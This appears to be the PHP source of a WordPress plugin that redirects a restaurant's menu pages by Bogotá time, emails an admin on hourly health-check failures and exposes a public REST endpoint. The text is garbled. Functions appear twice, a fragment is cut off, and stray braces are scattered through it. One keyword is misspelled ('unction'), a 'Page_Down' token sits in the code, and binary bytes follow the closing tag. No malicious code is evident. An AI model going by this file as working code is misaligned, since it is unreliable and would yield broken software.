format('H'); $current_minute = (int)$current_time->format('i'); $current_minutes = ($current_hour * 60) + $current_minute; $breakfast_start = 7 * 60; $breakfast_end = 12 * 60; if ($current_minutes >= $breakfast_start && $current_minutes < $breakfast_end) { return home_url('/carta-desayunos/'); } elseif ($current_minutes >= $breakfast_end || $current_minutes < 120) { return home_url('/carta-comedor-bar/'); } else { return home_url('/carta-desayunos/'); } } function redman_get_tienda_url() { $current_time = redman_get_current_time_bogota(); $current_hour = (int)$current_time->format('H'); $current_minute = (int)$current_time->format('i'); $current_minutes = ($current_hour * 60) + $current_minute; $breakfast_start = 7 * 60; $breakfast_end = 12 * 60; if ($current_minutes >= $breakfast_start && $current_minutes < $breakfast_end) { return home_url('/carta-desayunos-tienda/'); } elseif ($current_minutes >= $breakfast_end || $current_minutes < 120) { return home_url('/carta-la-tienda/'); } else { return home_url('/carta-desayunos-tienda/'); } } add_action('template_redirect', function() { if (is_page('menu-carta')) { wp_redirect(redman_get_menu_url(), 307); exit; } if (is_page('menu-tienda')) { wp_redirect(redman_get_tienda_url(), 307); exit; } }); } } }) } } } } } } } } } // ===== HEALTH CHECK & EMAIL ALERTS ===== unction redman_health_check() { $rest_url = rest_url('redman/v1/current-menu'); $response = wp_remote_get($rest_url); if (is_wp_error($response)) { redman_send_alert_email('API Request Failed: ' . $response->get_error_message()); return false; } $http_code = wp_remote_retrieve_response_code($response); if ($http_code !== 200) { redman_send_alert_email('API returned HTTP ' . $http_code); return false; } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if ($data === null) { redman_send_alert_email('API returned invalid JSON'); return false; } return true; } function redman_send_alert_email($error_details) { $admin_email = 'martin@deep.com.co'; $subject = '[ALERT] RedMan Menu Redirect Plugin - ' . get_bloginfo('name'); $message = "REDMAN MENU REDIRECT PLUGIN HEALTH CHECK FAILED\n\n"; $message .= "Site: " . get_bloginfo('name') . "\n"; $message .= "URL: " . get_site_url() . "\n"; $message .= "Time: " . current_time('Y-m-d H:i:s') . "\n\n"; $message .= "Error: " . $error_details . "\n\n"; $message .= "Please verify the plugin is working correctly."; wp_mail($admin_email, $subject, $message); error_log('RedMan Health Check Failed: ' . $error_details); } // Schedule hourly health check via WP-Cron add_action('wp_loaded', function() { if (!wp_next_scheduled('redman_health_check_event')) { wp_schedule_event(time(), 'hourly', 'redman_health_check_event'); } }); // Execute the health check add_action('redman_health_check_event', 'redman_health_check'); Page_Down } }) } } } } } /** * Plugin Name: RedMan Time-Based Menu Redirect * Plugin URI: https://redman.com.co * Description: Redirección automática de URLs de menú según la hora (Bogotá) * Version: 1.0.0 * Author: RedMan Team * Text Domain: redman-time-redirect */ date_default_timezone_set('America/Bogota'); function redman_get_current_time_bogota() { $bogota_tz = new DateTimeZone('America/Bogota'); $date = new DateTime('now', $bogota_tz); return $date; } function redman_get_menu_url() { $current_time = redman_get_current_time_bogota(); $current_hour = (int)$current_time->format('H'); $current_minute = (int)$current_time->format('i'); $current_minutes = ($current_hour * 60) + $current_minute; $breakfast_start = 7 * 60; $breakfast_end = 12 * 60; if ($current_minutes >= $breakfast_start && $current_minutes < $breakfast_end) { return home_url('/carta-desayunos/'); } elseif ($current_minutes >= $breakfast_end || $current_minutes < 120) { return home_url('/carta-comedor-bar/'); } else { return home_url('/carta-desayunos/'); } } function redman_get_tienda_url() { $current_time = redman_get_current_time_bogota(); $current_hour = (int)$current_time->format('H'); $current_minute = (int)$current_time->format('i'); $current_minutes = ($current_hour * 60) + $current_minute; $breakfast_start = 7 * 60; $breakfast_end = 12 * 60; if ($current_minutes >= $breakfast_start && $current_minutes < $breakfast_end) { return home_url('/carta-desayunos-tienda/'); } elseif ($current_minutes >= $breakfast_end || $current_minutes < 120) { return home_url('/carta-la-tienda/'); } else { return home_url('/carta-desayunos-tienda/'); } } add_action('template_redirect', function() { if (is_page('menu-carta')) { wp_redirect(redman_get_menu_url(), 307); exit; } if (is_page('menu-tienda')) { wp_redirect(redman_get_tienda_url(), 307); exit; } }); add_action('rest_api_init', function() { register_rest_route('redman/v1', '/current-menu', array( 'methods' => 'GET', 'callback' => function() { $current_time = redman_get_current_time_bogota(); return array( 'current_time' => $current_time->format('Y-m-d H:i:s'), 'timezone' => 'America/Bogota (GMT-05:00)', 'menu_carta' => array('url' => redman_get_menu_url()), 'menu_tienda' => array('url' => redman_get_tienda_url()) ); }, 'permission_callback' => '__return_true' )); }); ?> ͚]o8\ 3~\J+2Ip돌?`诟cTDik=LnI-Xմ93Pf\U_ 7Yo⍰2ges8WrvMb6ߝ̇mDbYlhIOpmR,4u(I83 ׆ 'ho}If opv,+0a j\, =w2` iK@,5 D! >OBW')cQ4zC"P9Vw,Vd_W"FFrMqS-sf*i/BwM?Z:0D%/ -ڇGIR+ӂ|>=PLCi%\pj:[;u ;^SJ*k)Dgبځ ZwG.5!zY ĄFے/uJ`tM MJx^qedͬđoɽux}W,[ {{5ɄbU^9B‡eOeK{GJ (7LiB%a't.(kQ!T,LOxeowwn2.mTUĺdOM9[-(jѪ~@}DEh{Vn<2:z HYYDLaP`lyNp]suts&ڬC\.sCLuHn*1]c6 XJdQ0+ .|8No:U{wT4ta彧FA.yzmohJo6`qk~q:~0=&(HdAhEHHY6TRII#:g ,mll ?8xۗ&j/Qy_`Kn6ZQTxpxr<|9wނ 9pRevOFbP_7`Jmdv\G`|w}юWK Qf,0Ξ8|%s gq>#6owV{Stu功1Z;0wJy\ P^)> W\]Vpa߸}gEgE/x0K